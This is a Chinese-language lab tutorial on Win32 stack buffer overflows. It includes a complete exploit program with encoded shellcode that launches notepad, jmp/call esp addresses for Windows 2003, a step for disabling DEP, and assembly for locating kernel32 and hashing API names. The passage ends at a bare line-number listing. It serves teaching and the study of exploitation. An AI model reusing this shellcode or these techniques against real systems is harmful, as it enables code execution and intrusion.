Win32缓冲区溢出 & shellcode

本教程使用的系统:Windows2003 SP2。

0x00 win32程序地址

​ 写一个程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <string.h>

int fun1(int a, int b)
{
return a+b;
}

int fun2(int a, int b)
{
return a*b;
}

int fun3(int a)
{
return a*10;
}

int x=10, y, z=20;

int main (int argc, char *argv[])
{
char buff[64];
int a=5,b,c=6;
char buff02[64];
printf("(.text)address of\n\tfun1=%p\n\tfun2=%p\n\tmain=%p\n", fun1, fun2, main);
printf("(.data inited Global variable)address of\n\tx(inited)=%p\n\tz(inited)=%p\n", &x, &z);
printf("(.bss uninited Global variable)address of\n\ty(uninit)=%p\n\n", &y);

printf("(stack)address of\n\targc =%p\n\targv =%p\n", &argc, &argv);
printf("(Local variable)address of\n\tbuff[64]=%p\n\tbuff02[64]=%p\n", buff, buff02);
printf("(Local variable)address of\n\ta(inited) =%p\n\tb(uninit) =%p\n\tc(inited) =%p\n\n", &a, &b, &c);

return 0;
}

知识点:C语言中,%p是打印地址,\t相当于Tab键。

​ 编译并运行cl mem_distribute.c & mem_distribute.exe

image-20221129195519065

​ 内存分布相当于这样:

image-20221129195715963

​ Win32进程的内存分布呈现与Linux IA32进程类似的内存分布,也分成代码、变量、堆栈区等。具有以下特点:

  1. 可执行代码fun1,fun2,main存放在内存块0x0040xxxx的低地址端且按照源代码中的顺序从低地址到高地址排列 (先定义的函数的代码存放在内存的低地址)
  2. 全局变量(x,y,z)也存放内存块0x0040xxxx的低地址端,位于可执行代码之上(起始地址高于可执行代码的地址)。初始化的全局变量存放在低地址,而未初始化的全局变量位于高地址。
  3. 函数的入口参数的地址(0x0012 Fxxx)位于堆栈的高地址区,位于函数局部变量之上。

​ 由 3 可以推断出栈底(最高地址)位于0x0012FFFC,环境变量和局部变量处于进程的栈区。进一步的分析知道,函数的返回地址也位于进程的栈区。

​ 整体上看,32位Win2003进程的内存映像上分成3大块:

1
2
3
0x7CXXXXXX //动态链接库的映射区,比如kernel32.dll,ntdll.dll
0x00400000 //可执行程序的代码段及全局变量 (数据段)
0x0012FFFC //堆栈区

image-20221129200533283

​ 进程有三种数据段:.text、 .data 、 .bss。

  1. .text(文本区): 只读的内存区,任何尝试对该区的写操作会导致段违法出错。文本区存放了程序的代码,包括main函数和其他子函数。
  2. .data和.bss都是可写的,它们保存全局变量,.data段包含已初始化的静态变量,而.bss包含未初始化的数据。

​ 函数被调用所建立的栈帧包含了下面的信息:

  1. 函数的返回地址。IA32的返回地址都是存放在被调用函数的栈帧里。
  2. 调用函数的栈帧信息,即栈顶和栈底(最高地址)。
  3. 为函数的局部变量分配的空间。
  4. 为被调用函数的参数分配的空间。

​ 返回地址位于高地址,局部变量位于底地址,因此对字符串的操作有可能覆盖返回地址。

​ mem_distribute.exe在Windows7下的运行结果每次都不同,这就说明了windows7对进程的地址空间布局使用了地址随机化机制,使得进程的地址空间每次运行均不同。

​ 进一步的测试表明,Windows7动态链接库的加载基址不随进程的运行次数改变,然而,如果重新启动操作系统,则动态链接库的加载基址也会变化。


0x01 win32缓冲区溢出流程 & windbg 使用

​ 写程序overflow.c如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>

char largebuff[] ="01234567890123456789ABCDEFGH"; //28 bytes
void foo()
{
char smallbuff[16];
strcpy (smallbuff, largebuff);
}
int main (void)
{
foo();
}

​ 编译并执行,程序报错。

​ 准备使用WinDbg调试该程序。

​ 输入u main,显示:

image-20221129202032772

​ 接着,输入u 00401005:

image-20221129202151398

​ 接着,输入u foo L11:

image-20221129202646758

​ 在foo函数的入口、strcpy调用点和函数的返回点用bp命令设置3个断点设置断点后,反汇编窗口中的相应行用红色背景突出显示。(命令为 bp overflow!foo,bp overflow!foo + 19,bp overflow!foo + 2e)

​ 输入g启动进程:

image-20221129203553689

​ 可以看到,esp=0012ff74中保存了 foo 的返回地址。

​ 用dd esp命令显示堆栈的内容为A=00401058。该地址是函数main第4条汇编指令的地址,而main的第3条汇编指令为 calloverflow!ILT+0(foo)(00401005)
​ 输入命令g运行到下一个断点(这是strcpy(smallbuff, largebuff);函数):

image-20221129204423824

​ 可见smallbuf的起始地址B=0012ff5c,largebuf的起始地址为0041b000。返回地址与smallbuf的起始地址的距离OFF SET=A-B=Ox18=24因此,可以推测返回地址被覆盖为largebuf偏移24开始的4个字符“EFGH”。以下命令的结果也证实了这点:

image-20221129205002417

​ 输入g继续执行,输出:

image-20221129205116590

​ 可以看到,程序并未执行到第3个断点,而是跳转到内核去执行其他的指令。这是因为新版本的VC编译器默认打开了函数的安全检查,即securitycheck,对应于函数foo的以下两条汇编指令

image-20221129205304126

​ security check机制是这样的:

  1. 函数foo先根据 security_cookie保存一个cookie,再执行其他指令。
  2. 函数foo退出之前调用_security_check_cookie,并检查cookie的值是否被改写。若cookie被改写,则说明出现了缓冲区溢出错误,引发异常且中断程序的执行,从而防止了错误的进一步扩散。

​ 一般来说,如果打开了编译器的安全检查则缓冲区溢出漏洞虽然也能破坏进程的内存空间 (相邻的变量),但并不能导致进程被劫持。这是因为即使返回地址被改写函数中的ret语句也不会被执行,从而无法改变进程的执行流程。

​ 出现了缓冲区溢出错误,但进程未被劫持,进程未崩溃,可称之为“非崩溃错误”。这种错误隐藏得更深,危害很大。

​ 为了演示进程被劫持的原理 我们关闭编译器的安全检查 用参数 /GS (控制堆栈探测,缓冲区安全检查)重新编译 overflow.c,命令为:cl /Fd /Zi /GS- overflow.c(/GS- 相当于关闭安全检查。)

​ 再放入windbg中,看foo函数,发现:

image-20221129210447669

​ 在004010200040102f0040103a打断点。

​ 执行到第一个断点,出现:

image-20221129211024519

​ 执行到第二个断点,出现:

image-20221129211131529

​ 可见smallbuf的起始地址B=0012ff60,函数的返回地址保存在地址为A=0012ff74的栈中。

​ 返回地址所在的地址与smallbuf的起始地址的距离(偏移)OFF_SET=A-B=0x14=20。因此,可以推测返回地址被覆盖为largebuf偏移20开始的4个字符“ABCD”。以下命令的结果证实了这点:

image-20221129211635893

​ 现在的OFFSET为0x14。若打开C编译器的安全检查,则OFF_SET为0x18,这多出的4个字节用于保存cookie的值。

​ 继续运行到第3个断点:

image-20221129211813937

​ 可见,ret之前esp指向的内存单元已经被覆盖为”ABCD”,或16进制数0x44434241。执行ret后的eip=esp=0x44434241,再进行esp=esp+4。继续输入p(单步执行),可以看到eip已被修改。

image-20221129212208061

​ 从上面的溢出流程可以看到,执行ret指令后eip变成可以控制的内容,此时的esp增加4,指向输入字符串中返回地址所在的单元偏移4字节的地址。
如果把shellcode放到保存返回地址所在单元的后面(高地址),而把这个返回地址覆盖成一个包含jmp esp或call esp指令的地址,那么执行ret指令之后将跳转到shellcode。

WinDbg常用指令:

1
2
3
4
5
6
7
8
9
10
11
12
u // 反汇编,为了确保能够正确反汇编,使用cl /Fd /Zi xx.c编译文件,以生成符号表文件xx.pdb
u xx L11 // 相当于反汇编xx函数0x11条指令
Alt+7 // 打开程序上下文窗口(disassembly)
bp // 打断点,例如在foo函数第0x19条(16进制)汇编指令上打断点,就有bp overflow!foo + 19
g or F5 // 启动进程
dd xx // 输出xx的128个字节
da xx // 以Ascii码输出xx指向的字符串
p // 单步执行(F10)
.imgscan // 查看内存中的进程映像
s 7c800000 L12b000 ff d4 // 起始地址为7c800000,size为12b000,找16进制为ff d4对应的位置
s -u 522e0000 527d1000 "web" //表示在522e0000 和527d1000之间搜索Unicode字符串"web"
? // 显示常规命令,例如 ?0x000003cf,输出975

0x02 进程跳转

​ 进程跳转攻击方法的基本思想:从系统必须加载的动态链接库(如ntdll.dll, kernel32.dll)中寻找call esp和jmp esp指令,记录下该地址 (溢出攻击的跳转地址),将该地址覆盖函数的返回地址,而将shellcode放在返回地址所在单元的后面。
​ 攻击串(largebuf)的组织方式如下图所示:

image-20221129213154799

​ 成功实现这种攻击方法的关键在于找到jmp esp(代码为0xe4ff)或call esp(代码为0xd4ff)的地址。

​ 用WinDbg打开目标程序,输入 .imgscan 以查看内存中的进程映像。

image-20221129213623925

​ 可见,在进程的内存空间中有3个文件的映像,他们分别是:

  1. 可执行文件overflow.exe,在内存中的起始地址为0x00400000,大小为0x1e000。
  2. KERNEL32.dll,映射到起始地址为7c800000,大小为0x12b000的进程内存空间。
  3. ntdll.dll,映射到起始地址为7c930000,大小为0xd000的进程内存空间。

​ 找KERNEL32.dll与ntdll.dll的jmp esp(代码为0xe4ff)或call esp(代码为0xd4ff)指令,有:

image-20221129214526225

​ 总结一波找到的地址:

image-20221129214700898

注:

  1. 需要指出的是,不同版本的Windows系统 (相同版本打不同补丁后) 中的动态链接库 (及其加载地址) 是不同的,因此jmp esp和call esp指令在进程映像中的地址也是不同的。
  2. 尤其是windows 7及其后续版本,由于使用了地址随机化机制即使是同一个系统,下一次启动系统的动态链接库加载地址也有改变。
  3. 故对于windows 7及其后续版本,要成功实现缓冲区溢出攻击的概率极小。

0x03 缓冲区溢出攻击实例

​ 已知,w32Lexploit.cpp中的函数overflow定义如下,w32Lexploit.cpp的完整代码在本节最后给出。

1
2
3
4
5
6
#define BUFFER_LEN 128
void overflow(char* attackStr)
{
char buffer[BUFFER_LEN];
strcpy(buffer,attackStr);
}

​ 由于函数overflow中的局部变量buffer的容量只有128字节,若输入的数据attackStr过多,则将发生缓冲区溢出错误。
​ 正确可靠的方法通过WinDbg跟踪该程序的执行而确定返回地址与buffer起始地址的距离。
​ 使用cl /Zi/GS- srclw32Lexploit.cpp编译为可执行代码,并进行调试:

image-20221129221725713

image-20221129221919706

0012fb5c-0012fad8=0x84,因此偏移为0x84=132。

​ 一般来说,一类平台下的shellcode具有一定的通用性,只要进行少量修改就可实现所需的功能。平时要多收集一些shellcode备用。

​ w32Lexploit.cpp中的shellcode可以在被攻击的目标机器上创建一个新的进程,并打开记事本notepad.exe。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char shellcode[]=
/* 287=0x11f bytes */
"\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\x08\x01\x80\x34\x0b\xfe\xe2"
"\xfa\xc3\xe8\xeb\xff\xff\xff\x96\x9b\x86\x9b\xfe\x96\x8e\x9f\x9a"
"\xd0\x96\x90\x91\x8a\x9b\x75\x02\x96\xa9\x98\xf3\x01\x96\x9d\x77"
"\x2f\xb1\x96\x37\x42\x58\x95\xa4\x16\xa8\xfe\xfe\xfe\x75\x0e\xa4"
"\x16\xb0\xfe\xfe\xfe\x75\x26\x16\xfb\xfe\xfe\xfe\x17\x30\xfe\xfe"
"\xfe\xaf\xac\xa8\xa9\xab\x75\x12\x75\x29\x7d\x12\xaa\x75\x02\x94"
"\xea\xa7\xcd\x3e\x77\xfa\x71\x1c\x05\x38\xb9\xee\xba\x73\xb9\xee"
"\xa9\xae\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\xac\x94"
"\xfe\x01\x28\x7d\x06\xfe\x8a\xfd\xae\x01\x2d\x75\x1b\xa3\xa1\xa0"
"\xa4\xa7\x3d\xa8\xad\xaf\xac\x16\xef\xfe\xfe\xfe\x7d\x06\xfe\x80"
"\xf9\x75\x26\x16\xe9\xfe\xfe\xfe\xa4\xa7\xa5\xa0\x3d\x9a\x5f\xce"
"\xfe\xfe\xfe\x75\xbe\xf2\x75\xbe\xe2\x75\xfe\x75\xbe\xf6\x3d\x75"
"\xbd\xc2\x75\xba\xe6\x86\xfd\x3d\x75\x0e\x75\xb0\xe6\x75\xb8\xde"
"\xfd\x3d\x75\xba\x76\x02\xfd\x3d\xa9\x75\x06\x16\xe9\xfe\xfe\xfe"
"\xa1\xc5\x3c\x8a\xf8\x1c\x18\xcd\x3e\x15\xf5\x75\xb8\xe2\xfd\x3d"
"\x75\xba\x76\x02\xfd\x3d\x3d\xad\xaf\xac\xa9\xcd\x2c\xf1\x40\xf9"
"\x7d\x06\xfe\x8a\xed\x75\x24\x75\x34\x3f\x1d\xe7\x3f\x17\xf9\xf5"
"\x27\x75\x2d\xfd\x2e\xb9\x15\x1b\x75\x3c\xa1\xa4\xa7\xa5\x3d";

​ 之后,在合适的位置放置跳转地址和shellcode以构建攻击字符串,将其拷贝到目标缓冲区以实现攻击。smashStack(char * shellcode)函数用于组织攻击代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define ATTACK_BUFF_LEN 1024
#define BUFFER_LEN 132 // 0x84=132
#define JUMPESP 0x7c99a01b // windows2003 sp2 ; sp1=0x7c84fa6a
#define CALLESP 0x7c81f2df // windows2003 sp2 7c81f2df,7c8366e2,7c874303 ; sp1=0x7c806b69 0x7c82334b,都是之前积累的。
void smashStack(char * shellcode)
{
char Buff[ATTACK_BUFF_LEN];
unsigned long *ps;

memset(Buff, 0x90, ATTACK_BUFF_LEN);

ps = (unsigned long *)(Buff+OFF_SET);
*(ps) = CALLESP;
strcpy(Buff+OFF_SET+4, shellcode);
Buff[ATTACK_BUFF_LEN - 1] = 0;

overflow(Buff);
}
void main(int argc, char* argv[])
{
smashStack(shellcode);
}

​ 运行之后,还是报错。这是由于系统启用了数据执行保护(DEP),且DEP在当前的环境下生效,则该软件运行错误,系统弹出一个窗口,提示运行错误。

​ 将c:\boot.ini/noexecute=optout改成/noexecute=AlwaysOff即可。

​ w32Lexploit.cpp的完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include "windows.h"
#include "stdio.h"
#include "stdlib.h"

char shellcode[]=
/* 287=0x11f bytes */
"\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\x08\x01\x80\x34\x0b\xfe\xe2"
"\xfa\xc3\xe8\xeb\xff\xff\xff\x96\x9b\x86\x9b\xfe\x96\x8e\x9f\x9a"
"\xd0\x96\x90\x91\x8a\x9b\x75\x02\x96\xa9\x98\xf3\x01\x96\x9d\x77"
"\x2f\xb1\x96\x37\x42\x58\x95\xa4\x16\xa8\xfe\xfe\xfe\x75\x0e\xa4"
"\x16\xb0\xfe\xfe\xfe\x75\x26\x16\xfb\xfe\xfe\xfe\x17\x30\xfe\xfe"
"\xfe\xaf\xac\xa8\xa9\xab\x75\x12\x75\x29\x7d\x12\xaa\x75\x02\x94"
"\xea\xa7\xcd\x3e\x77\xfa\x71\x1c\x05\x38\xb9\xee\xba\x73\xb9\xee"
"\xa9\xae\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\xac\x94"
"\xfe\x01\x28\x7d\x06\xfe\x8a\xfd\xae\x01\x2d\x75\x1b\xa3\xa1\xa0"
"\xa4\xa7\x3d\xa8\xad\xaf\xac\x16\xef\xfe\xfe\xfe\x7d\x06\xfe\x80"
"\xf9\x75\x26\x16\xe9\xfe\xfe\xfe\xa4\xa7\xa5\xa0\x3d\x9a\x5f\xce"
"\xfe\xfe\xfe\x75\xbe\xf2\x75\xbe\xe2\x75\xfe\x75\xbe\xf6\x3d\x75"
"\xbd\xc2\x75\xba\xe6\x86\xfd\x3d\x75\x0e\x75\xb0\xe6\x75\xb8\xde"
"\xfd\x3d\x75\xba\x76\x02\xfd\x3d\xa9\x75\x06\x16\xe9\xfe\xfe\xfe"
"\xa1\xc5\x3c\x8a\xf8\x1c\x18\xcd\x3e\x15\xf5\x75\xb8\xe2\xfd\x3d"
"\x75\xba\x76\x02\xfd\x3d\x3d\xad\xaf\xac\xa9\xcd\x2c\xf1\x40\xf9"
"\x7d\x06\xfe\x8a\xed\x75\x24\x75\x34\x3f\x1d\xe7\x3f\x17\xf9\xf5"
"\x27\x75\x2d\xfd\x2e\xb9\x15\x1b\x75\x3c\xa1\xa4\xa7\xa5\x3d";

void doShellcode(char * shellcode)
{
puts("Verify the shellcode by call ((void (*)())shellcode)()");
((void (*)())shellcode)();
}


#define BUFFER_LEN 128
void overflow(char* attackStr)
{
char buffer[BUFFER_LEN];
printf("Smash a %d bytes buffer with %d bytes string.\n", BUFFER_LEN, strlen(attackStr));
strcpy(buffer,attackStr);
}

// jmp esp address of chinese version
//#define JUMPESP "\x12\x45\xfa\x7f"
#define JUMPESP 0x7c99a01b // windows2003 sp2 ; sp1=0x7c84fa6a
#define CALLESP 0x7c81f2df // windows2003 sp2 7c81f2df,7c8366e2,7c874303 ; sp1=0x7c806b69 0x7c82334b
#define ATTACK_BUFF_LEN 1024
#define OFF_SET 132 // 516=0x204

void smashStack(char * shellcode)
{
char Buff[ATTACK_BUFF_LEN];
unsigned long *ps;

memset(Buff, 0x90, ATTACK_BUFF_LEN);

ps = (unsigned long *)(Buff+OFF_SET);
*(ps) = CALLESP;
strcpy(Buff+OFF_SET+4+4, shellcode);
Buff[ATTACK_BUFF_LEN - 1] = 0;

overflow(Buff);
}

void main(int argc, char* argv[])
{
// doShellcode(shellcode); return; // 验证shellcode的正确性
smashStack(shellcode); return; // 用shellcode进行缓冲区溢出攻击
}

知识点:

  1. ntdll.dll是Windows系统从ring3到ring0的入口。位于Kernel32.dll和user32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的。ntdll.dll中的函数使用SYSENTRY进入ring0,函数的实现实体在ring0中。
  2. kernel32.dll是非常重要的32位动态链接库文件,属于内核级文件。它控制着系统的内存管理、数据的输入输出操作和中断处理,当Windows启动时,kernel32.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域。

0x04 win32 shellcode技术

 Windows上一般不使用系统调用来实现shellcode,而是使用Windows API实现。这里的最大障碍在于获得 API 的地址 。由于 ntdll.dll 和 kernel32.dll 总是出现在任何 32 位 进程的地址空间,因此 可以在进程空间中找到动态链接库的加载地址,进而找到其中的输出函数地址。这样就可以使用其中的函数。 
 只要利用 kernel32.dll 中的 LoadLibrary 和GetProcAddress 函数 就可以调用任何动态链接库中的输出函数 。因此 只要在目标进程的内存空间中找到这两个函数的地址,就可以编写实现任何功能的 shellcode。
 以下是一个动态链接库实例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<windows.h> // 例程: UFD_Dll.cpp
#include<stdio.h>

#ifdef __cplusplus // If used by C++ code
extern "C" { // we need to export the C interface
#endif
__declspec(dllexport) int __cdecl myPuts(char *lpszMsg)
{
puts((char *)lpszMsg);
return 1;
}
__declspec(dllexport) int __cdecl myPutws(LPWSTR lpszMsg)
{
_putws(lpszMsg);
return 1;
}
__declspec(dllexport) int __cdecl myAdd(int a, int b)
{
return a + b;
}
__declspec(dllexport) float __cdecl myMul(float a, float b)
{
return a * b;
}
#ifdef __cplusplus
}
#endif

知识点1:__cdecl 是C Declaration的缩写(declaration,声明),表示C语言默认的函数调用方法:所有参数从右到左依次入栈,这些参数由调用者清除,称为手动清栈。__declspec 用于指定所给定类型的实例的与Microsoft相关的存储方式。

​ 之后cl /LD UFD_Dll.cpp生成动态链接库。

image-20221129150925406

​ 然后写一个程序使用刚才生成的动态链接库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <windows.h>// 例程: UseDll.cpp
#include <stdio.h>
typedef int(__cdecl * MYPROC)(char *);
typedef int(__cdecl * MYPROCW)(LPWSTR);
typedef int(__cdecl * MYADD)(int a, int b);
typedef float(__cdecl * MYMUL)(float a, float b);
void main(void){
HINSTANCE hinstLib;
MYPROC myPuts;
MYPROCW myPutws;
MYADD myAdd;
MYMUL myMul;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;
char buff[64];
int a=5, b=100;
float c=5.0, d=100.0;
hinstLib = LoadLibrary(TEXT("UFD_Dll.dll"));
if(hinstLib != NULL){
myPuts = (MYPROC)GetProcAddress(hinstLib, "myPuts");
myPutws = (MYPROCW)GetProcAddress(hinstLib,"myPutws");
myAdd = (MYADD)GetProcAddress(hinstLib, "myAdd");
myMul = (MYMUL)GetProcAddress(hinstLib, "myMul");
if(NULL != myPuts){
myPuts("\nMessage sent to the user defined DLL function.");
}
if(NULL != myPutws){
myPutws(L" [Unicode] Message sent to the DLL function. \n");
}
printf("The sum (DLL function) of %d and %d is %d.", a, b, myAdd(a,b));
printf(" The product (DLL function) of %f and %f is %f.", c, d, myMul(c,d));
// Free the DLL module.
fFreeResult = FreeLibrary(hinstLib);
}
}

知识点2:

  1. LPCSTR是Win32和VC++所使用的一种字符串数据类型。LPCSTR被定义成是一个指向以’\0’结尾的常量字符的指针。LPWSTR是wchar_t字符串。LPCWSTR是一个指向unicode]编码字符串的32位指针,所指向字符串是wchar型,而不是char型。
  2. HINSTANCE 是“句柄型”数据类型。

​ 编译并运行:cl UseDll.cpp & UseDll.exe

image-20221129152542976

​ 之后输入cl /Fd /Zi UseDll.cpp/Fd表示重命名程序数据库文件,/Zi表示生成完整的调试信息,后面windbg要用)并用windbg加载。

image-20221129225118638

​ 在调用LoadLibraryA之前与之后的代码处设置断点,并查看导入库前后的.imgscan

image-20221129225418546

​ 可以看到运行到第2个断点后导入了UFD_Dll.dll库。

​ shellcode是要注入到目标进程中去的,事先并不知道LoadLibrary和GetProcAddress等函数在目标进程中的地址,因此shellcode需要从目标进程中找到这2个函数的地址。

​ 当然,如果能从目标进程的内存空间中找到所需函数的地址,就更好了,此时不需要使用LoadLibrary和GetProcAddress这两个函数。

基本设想是从进程空间中找到动态连接库的基址,然后分析PE文件的结构,进而从进程的内存空间中找到所需要的Windows API地址。

​ 如何确定动态链接库的基址呢?有两种方法可以从进程空间中确定动态链接库的加载地址,分别是使用系统结构化异常处理程序使用PEB(进程环境块)

​ 在此介绍从PEB(进程环境块)中获得相关数据结构的方法,这种方法适用于32位的Windows系统。

补充

  1. TEB(Thread Environment Block,线程环境块)系统在此TEB中保存频繁使用的线程相关的数据。位于用户地址空间,在比 PEB 所在地址低的地方。进程中的每个线程都有自己的一个TEB。一个进程的所有TEB都以堆栈的方式,存放在从0x7FFDE000开始的线性内存中,每 4KB为一个完整的TEB,不过该内存区域是向下扩展的。在用户模式下,当前线程的TEB位于独立的4KB段,可通过CPU的FS寄存器来访问该段,一般存储在[FS:0]。在用户态下WinDbg中可用命令$thread取得TEB地址。
  2. PEB(Process Environment Block,进程环境块)存放进程信息,每个进程都有自己的PEB信息。位于用户地址空间。在Win 2000下,进程环境块的地址对于每个进程来说是固定的,在0x7FFDF000处,这是用户地址空间,所以程序能够直接访问。准确的PEB地址应从系统 的EPROCESS结构的0x1b0偏移处获得,但由于EPROCESS在系统地址空间,访问这个结构需要有ring0的权限。

补充完毕!

​ 进程运行时的FS:0指向TEB(线程环境块),微软的官方文档给出了如下结构。(FS指的是段寄存器,指向当前活动线程的TEB结构,也叫做线程结构)

image-20221129232529776

TEB结构的偏移30h地址的双字保存了当前PEB的指针。

​ 而PEB的结构是这样的:

image-20221129233013774

​ 在PEB偏移0ch的地址,保存了PEB_LDR_DATA的指针。而PEB_LDR_DATA的数据结构中有LIST_ENTRY数据结构,LIST_ENTRY又有_LIST_ENTRY数据结构。

image-20221129234553068

0xc+0x1c+0x8=0x30说明TEB偏移0x30就是模块基址。两个0x30,要注意。

​ 总结一下:FS:30h指向当前PEB(进程环境块),PEB+0xc指向PPEB_LDR_DATA,PPEB_LDR_DATA+0x1c指向LIST_ENTRY,LIST_ENTRY+8指向ImageBase。

​ 写获得kernel32.dll基址的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//  GetKernelBase.cpp 
#include <stdio.h>
#include <stdlib.h>

unsigned long GetKernel32Addr()
{
unsigned long pAddress;
__asm{
mov eax, fs:30h ; PEB base
mov eax, [eax+0ch] ; PEB_LER_DATA
mov ebx, [eax+1ch] ; The first element
// kernel32.dll,如果去掉 mov ebx,[ebx]就是 ntdll.dll
// 此时ebx为LIST_ENTRY,便可以理解了
mov ebx,[ebx] ; Next element
mov eax,[ebx+8] ; Base address of second module
mov pAddress,eax ; Save it to local variable
};
printf("Base address of kernel32.dll is %p\n", pAddress);
return pAddress;
}
void main(void)
{
GetKernel32Addr();
}

cl GetKernelBase.cpp & GetKernelBase.exe,得到结果:

image-20221130104830762

image-20221130104931448

​ 可知,kernel32.dll的基址为7c800000,ntdll.dll的基址为7c930000。用windbg调试一哈,确实是这样:

image-20221130105327210

​ 上述程序的具体流程为:

image-20221130105440562

​ 接下来,我们再来获取windows API的地址。

​ 为了获取动态库中的Windows API的地址,需要对PE文件的内存映像进行分析。从加载地址开始,内存映像存放的是IMAGE_DOS_HEADER结构(定义在winnt.h中)。

image-20221130115607652

补充:PE文件与内存映像

image-20221130122011035

​ 相关博客1:https://www.cnblogs.com/zhcpku/p/14437940.html

​ 相关博客2:https://www.cnblogs.com/tk091/archive/2012/09/01/2666995.html

补充完毕!

​ e_lfanew表示的是新exe文件头的地址。(新文件头IMAGE_NT_HEADERS32的偏移地址

image-20221130120157758

​ 继续跟进:

image-20221130120229629

​ 再跟进_IMAGE_NT_HEADERS的IMAGE_OPTIONTAL_HEADER32。

image-20221130120349100

​ 可选头optionalHeader 偏移0x60 开始的地址存放了引出表目录数组DataDirectory,默认为16个元素。继续跟进。

image-20221130120447374

​ 一般情况DataDirectory[]是含有16个元素的结构数组。前两个元素分别对应Export Directory与lmport Directory。 VirtualAddress头指向IMAGE_EXPORT_DIRECTORY的指针。

​ 事实上,从IMAGE_NT_HEADERS32偏移0x18+0x60=0x78可直接得到引出表目录指针DataDirectory。

​ 于是,我们继续跟进IMAGE_EXPORT_DIRECTORY。

image-20221130121021787

​ 偏移0x20开始的地址保存函数名称(数组)的字符串指针。

总结一波,如何找到Kernel32.dll中的API捏?看下图就明白啦

image-20221130122529578

​ 那我们写如下程序,目的是找到kernel32.dll的第一个函数名及其地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//  GetKernel32FuncAddr.cpp : 
#include <stdio.h>
#include <stdlib.h>

unsigned long GetKernel32FuncAddr()
{
unsigned long pBaseOfModule, pNameOfModule;
unsigned long pAddressOfFunctions, pAddress0fNames;

__asm{
mov edx, fs:30h ; PEB base
mov edx, [edx+0ch] ; PEB_LER_DATA
mov edx, [edx+1ch] ; The first element of InInitOrderModuleList
// base of kernel32.dll
mov edx, [edx] ; Next element
mov eax, [edx+8] ; Base address of second module
mov pBaseOfModule,eax ; Save it to local variable
mov ebx, eax ; Base address of kernel32.dll, save it to ebx
// get the addrs of first function =========
// 注意:获得的e_lfanew, DataDirectory[0]是相对地址
mov edx,[ebx+3ch] ; e_lfanew
mov edx,[edx+ebx+78h] ; DataDirectory[0]
add edx,ebx ; RVA + base
mov esi,edx ; Save first DataDirectory to esi
// get fields of IMAGE_EXPORT_DIRECTORY pNameOfModule
mov edx,[esi+0ch] ; Module Name
add edx,ebx ; RVA + base
mov pNameOfModule,edx ; Save it to local variable
mov edx,[esi+1ch] ; AddressOfFunctions RVA
add edx,ebx ; RVA + base
mov pAddressOfFunctions,edx ; Save it to local variable
mov edx,[esi+20h] ; AddressOfNames RVA
add edx,ebx ; RVA + base
mov pAddress0fNames,edx ; Save it to local variable
}
printf("Name of Module:%s\n\tBase of Moudle=%p\n",
(char *)pNameOfModule,pBaseOfModule);
printf("First Function:\n\tAddress=0x%p\n\tName=%s\n",
(pBaseOfModule + *((unsigned long *) (pAddressOfFunctions))),
(char *)(pBaseOfModule + *((unsigned long *) (pAddress0fNames)))) ;
}

void main(void)
{
GetKernel32FuncAddr();
}

cl GetKernel_32_FuncAddr.cpp & GetKernel_32_FuncAddr.exe编译运行,输出:

image-20221130124515582

​ 用windbg验证一波:

image-20221130125753442

image-20221130130214629

image-20221130131043410

image-20221130131448126

​ 与程序运行结果很切合,说明我们分析的很正确,嘿嘿。

​ 为了在shellcode中使用加载模块中的输出函数,则需要在执行shellcode时动态查找函数的地址,这就需要通过某种方法把函数的相关信息 (如函数名字) 编码到shellcode中,再根据函数的相关信息找到函数的地址。

​ 由于Windows API的名字都比较长,为了减少shellcode的长度,可以用整数值代替API的名字,即用哈希(hash)值代替API的名字。以下是一种常用的hash算法:

1
2
3
4
5
6
7
8
9
unsigned long GetHash(char * c) // c 表示输入的API名称
{
unsigned long h=0;
while(*c)
{
h = ( ( h << 25 ) | ( h >> 7 ) ) + *(c++);
}
return h; // h表示输出的4字节整数
}

​ 把上述哈希函数转成汇编语言,就变为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//hash_proc: you should put the address of the string to edi
//when ret, the hash value stores in eax
hash_proc:
// save ebx,ecx,edx,edi
push ebx ;
push ecx ;
push edx ;
push edi ;
xor edx,edx ; edx = h
hash_loop: ;
movsx eax,byte ptr [edi] ; [eax]=*c ==> eax
cmp eax,0 ;
je exit_hash_proc ;
mov ebx,edx ; h ==> ebx
mov ecx,edx ; h ==> ecx
shl ebx,19h ; h << 25
shr ecx,7 ; h >> 7
or ebx,ecx ; ((h << 25) | (h >> 7))
mov edx,ebx ;
add edx,eax ;
inc edi; ;
jmp hash_loop ;
exit_hash_proc: ;
mov eax,edx ; save hash to eax
// restore ebx,ecx,edx,edi
pop edi ;
pop edx ;
pop ecx ;
pop ebx ;
retn ;

​ 这样就把API转换为一个4字节的整数,在shellcode的内部就可以用该整数表示相应的API。

​ 以下是获得Windows地址的完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
